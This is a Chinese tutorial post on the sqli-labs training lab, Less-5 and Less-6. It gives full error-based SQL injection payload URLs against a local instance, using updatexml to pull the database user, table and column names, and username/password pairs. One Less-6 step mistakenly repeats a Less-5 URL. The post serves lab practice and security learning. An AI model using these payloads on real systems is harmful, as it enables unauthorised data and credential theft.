0
点赞
收藏
分享

微信扫一扫

(手工)【sqli-labs5-6】GET方法、单双引号、报错注入:基本步骤、错误注入过程

目录

​​一、错误注入(手工)SQL注入基本步骤:​​

​​二、Less5(GET-Double injection-Single Quotes -String)​​

​​2.1、简介:(单引号+报错注入)​​

​​2.2、第一步:注入点测试​​

​​2.3、第二步:查询字段数​​

​​2.4、第三步:查看数据库基本信息​​

​​2.5、第四步:爆数据库​​

​​2.6、第五步:爆数据库表​​

​​2.7、第六步:爆字段​​

​​2.8、第七步:爆数据​​

​​三、Less6(GET-Double injection-Double Quotes -String)​​

​​ 3.1、简介:(双引号+报错注入)​​

​​3.2、第一步:注入点测试​​

​​3.3、第二步:查询字段数​​

​​3.4、第三步:查看数据库基本信息​​

​​3.5、第四步:爆数据库​​

​​3.6、第五步:爆数据库表​​

​​3.7、第六步:爆字段​​

​​3.8、第七步:爆数据​​

一、错误注入(手工)SQL注入基本步骤:

第一步:注入点测试

第二步:查询字段数

第三步:查询数据库的基本信息

第四步:爆数据库名

第五步:爆数据库表

第六步:爆字段

第七步:爆数据

二、Less5(GET-Double injection-Single Quotes -String)

2.1、简介:(单引号+报错注入)

请求方法:GET

方法:错误回显

2.2、第一步:注入点测试

测试id=1,没有显示数据 

​​http://localhost:8080/sqli-labs-master/Less-5/​​ ?id=1

(手工)【sqli-labs5-6】GET方法、单双引号、报错注入:基本步骤、错误注入过程_web安全

将数据扩大到1000了,仍没有显示位

所以不能使用联合查询

​​http://localhost:8080/sqli-labs-master/Less-5/​​ ?id=1000

(手工)【sqli-labs5-6】GET方法、单双引号、报错注入:基本步骤、错误注入过程_web安全_02


 加上单引号后,发现会返回报错信息,且可以知道是单引号闭合的

可以考虑使用报错注入

(手工)【sqli-labs5-6】GET方法、单双引号、报错注入:基本步骤、错误注入过程_字段_03


2.3、第二步:查询字段数

输入为2时,报错字段数不符

​​http://localhost:8080/sqli-labs-master/Less-5/​​ ?id=1' and 1=0 union select 1,2--+

(手工)【sqli-labs5-6】GET方法、单双引号、报错注入:基本步骤、错误注入过程_字段_04

 当为3的时候,就没有报错,字段数正确

​​http://localhost:8080/sqli-labs-master/Less-5/​​ ?id=1' and 1=0 union select 1,2,3--+

(手工)【sqli-labs5-6】GET方法、单双引号、报错注入:基本步骤、错误注入过程_数据库_05


2.4、第三步:查看数据库基本信息

​​http://localhost:8080/sqli-labs-master/Less-5/​​ ?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

(手工)【sqli-labs5-6】GET方法、单双引号、报错注入:基本步骤、错误注入过程_web安全_06


2.5、第四步:爆数据库

​​http://localhost:8080/sqli-labs-master/Less-5/​​ ?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+


注:

在ASCII码表中,0x7e这个十六进制数代表符号~,~这个符号在xpath语法中是不存在的,因此总能报错

(手工)【sqli-labs5-6】GET方法、单双引号、报错注入:基本步骤、错误注入过程_mysql_07


2.6、第五步:爆数据库表

​​http://localhost:8080/sqli-labs-master/Less-5/​​ ?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)--+

(手工)【sqli-labs5-6】GET方法、单双引号、报错注入:基本步骤、错误注入过程_字段_08


2.7、第六步:爆字段

​​http://localhost:8080/sqli-labs-master/Less-5/​​​ ?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1) --+
 

(手工)【sqli-labs5-6】GET方法、单双引号、报错注入:基本步骤、错误注入过程_web安全_09


2.8、第七步:爆数据

​​http://localhost:8080/sqli-labs-master/Less-5/​​ ?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)--+

(手工)【sqli-labs5-6】GET方法、单双引号、报错注入:基本步骤、错误注入过程_sql_10


​​http://localhost:8080/sqli-labs-master/Less-5/​​ ?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),31,32),0x7e),1)--+

(手工)【sqli-labs5-6】GET方法、单双引号、报错注入:基本步骤、错误注入过程_数据库_11


将31,32继续往后移,就可以获得,更多的数据

三、Less6(GET-Double injection-Double Quotes -String)

 3.1、简介:(双引号+报错注入)

请求方法:GET

方法:错误回显

3.2、第一步:注入点测试

测试id=1,没有显示数据 

​​http://localhost:8080/sqli-labs-master/Less-6/​​ ?id=1 

(手工)【sqli-labs5-6】GET方法、单双引号、报错注入:基本步骤、错误注入过程_sql_12


将数据扩大到1000了,仍没有显示位

所以不能使用联合查询

​​http://localhost:8080/sqli-labs-master/Less-6/​​ ?id=1000

(手工)【sqli-labs5-6】GET方法、单双引号、报错注入:基本步骤、错误注入过程_web安全_13


 加上单引号后,没有报错,说明不是单引号闭合

加上双引号后,发现会返回报错信息,且可以知道是双引号闭合的

可以考虑使用报错注入

(手工)【sqli-labs5-6】GET方法、单双引号、报错注入:基本步骤、错误注入过程_mysql_14



3.3、第二步:查询字段数

输入为2时,报错字段数不符

​​http://localhost:8080/sqli-labs-master/Less-6/​​ ?id=1" and 1=0 union select 1,2--+

(手工)【sqli-labs5-6】GET方法、单双引号、报错注入:基本步骤、错误注入过程_数据库_15


 当为3的时候,就没有报错,字段数正确

​​http://localhost:8080/sqli-labs-master/Less-5/​​ ?id=1' and 1=0 union select 1,2,3--+

(手工)【sqli-labs5-6】GET方法、单双引号、报错注入:基本步骤、错误注入过程_mysql_16



3.4、第三步:查看数据库基本信息

​​http://localhost:8080/sqli-labs-master/Less-6/​​ ?id=1" and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

(手工)【sqli-labs5-6】GET方法、单双引号、报错注入:基本步骤、错误注入过程_mysql_17



3.5、第四步:爆数据库

​​http://localhost:8080/sqli-labs-master/Less-6/​​ ?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+


注:

在ASCII码表中,0x7e这个十六进制数代表符号~,~这个符号在xpath语法中是不存在的,因此总能报错

(手工)【sqli-labs5-6】GET方法、单双引号、报错注入:基本步骤、错误注入过程_web安全_18



3.6、第五步:爆数据库表

​​http://localhost:8080/sqli-labs-master/Less-6/​​ ?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) --+

(手工)【sqli-labs5-6】GET方法、单双引号、报错注入:基本步骤、错误注入过程_数据库_19



3.7、第六步:爆字段

​​http://localhost:8080/sqli-labs-master/Less-6/​​ ?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)--+

(手工)【sqli-labs5-6】GET方法、单双引号、报错注入:基本步骤、错误注入过程_web安全_20



3.8、第七步:爆数据

​​http://localhost:8080/sqli-labs-master/Less-6/​​ ?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)--+

(手工)【sqli-labs5-6】GET方法、单双引号、报错注入:基本步骤、错误注入过程_sql_21



​​http://localhost:8080/sqli-labs-master/Less-6/​​ ?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),31,32),0x7e),1)--+

(手工)【sqli-labs5-6】GET方法、单双引号、报错注入:基本步骤、错误注入过程_字段_22



将31,32继续往后移,就可以获得,更多的数据


举报

相关推荐

0 条评论